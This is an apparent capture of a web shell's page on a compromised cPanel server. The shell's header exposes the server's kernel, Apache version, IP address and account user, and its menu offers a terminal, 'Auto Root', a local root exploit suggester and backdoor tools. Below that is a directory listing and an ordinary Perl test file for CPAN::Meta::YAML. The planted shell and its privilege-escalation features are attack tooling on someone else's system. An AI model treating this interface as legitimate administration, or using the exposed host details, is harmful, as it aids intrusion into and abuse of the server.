Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
CPAN-Meta-YAML /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
data
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
tml-local
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
tml-spec
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
tml-world
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
01_api.t
1.52
KB
-r--r--r--
2014-12-27 11:48
01_compile.t
363
B
-r--r--r--
2014-12-27 11:48
10_read.t
3.35
KB
-r--r--r--
2014-12-27 11:48
11_read_string.t
1.63
KB
-r--r--r--
2014-12-27 11:48
12_write.t
2.72
KB
-r--r--r--
2014-12-27 11:48
13_write_string.t
642
B
-r--r--r--
2014-12-27 11:48
20_subclass.t
1005
B
-r--r--r--
2014-12-27 11:48
21_yamlpm_compat.t
1.64
KB
-r--r--r--
2014-12-27 11:48
30_yaml_spec_tml.t
929
B
-r--r--r--
2014-12-27 11:48
31_local_tml.t
482
B
-r--r--r--
2014-12-27 11:48
32_world_tml.t
186
B
-r--r--r--
2014-12-27 11:48
README.md
6.15
KB
-r--r--r--
2014-12-27 11:48
tml
3.3
KB
-r-xr-xr-x
2014-12-27 11:48
Save
Rename
# Testing of some API methods; use strict; use warnings; use lib 't/lib/'; use Test::More 0.99; use TestBridge; use CPAN::Meta::YAML; subtest "default exports" => sub { ok( defined(&Load), 'Found exported Load function' ); ok( defined(&Dump), 'Found exported Dump function' ); ok( \&main::Load == \&CPAN::Meta::YAML::Load, 'Load is CPAN::Meta::YAML' ); ok( \&main::Dump == \&CPAN::Meta::YAML::Dump, 'Dump is CPAN::Meta::YAML' ); ok( !defined(&LoadFile), 'LoadFile function not exported' ); ok( !defined(&DumpFile), 'DumpFile function not exported' ); ok( !defined(&freeze), 'freeze function not exported' ); ok( !defined(&thaw), 'thaw functiona not exported' ); }; subtest "all exports" => sub { package main::all_exports; use Test::More; use CPAN::Meta::YAML qw/Load Dump LoadFile DumpFile freeze thaw/; ok( defined(&Load), 'Found exported Load function' ); ok( defined(&Dump), 'Found exported Dump function' ); ok( defined(&LoadFile), 'Found exported LoadFile function' ); ok( defined(&DumpFile), 'Found exported DumpFile function' ); ok( defined(&freeze), 'Found exported freeze function' ); ok( defined(&thaw), 'Found exported thaw functiona' ); }; subtest "constructor and documents" => sub { my @docs = ( { one => 'two' }, { three => 'four' } ); ok( my $yaml = CPAN::Meta::YAML->new( @docs ), "constructor" ); cmp_deeply( [ @$yaml ], \@docs, "the object is an arrayref of documents" ); }; done_testing;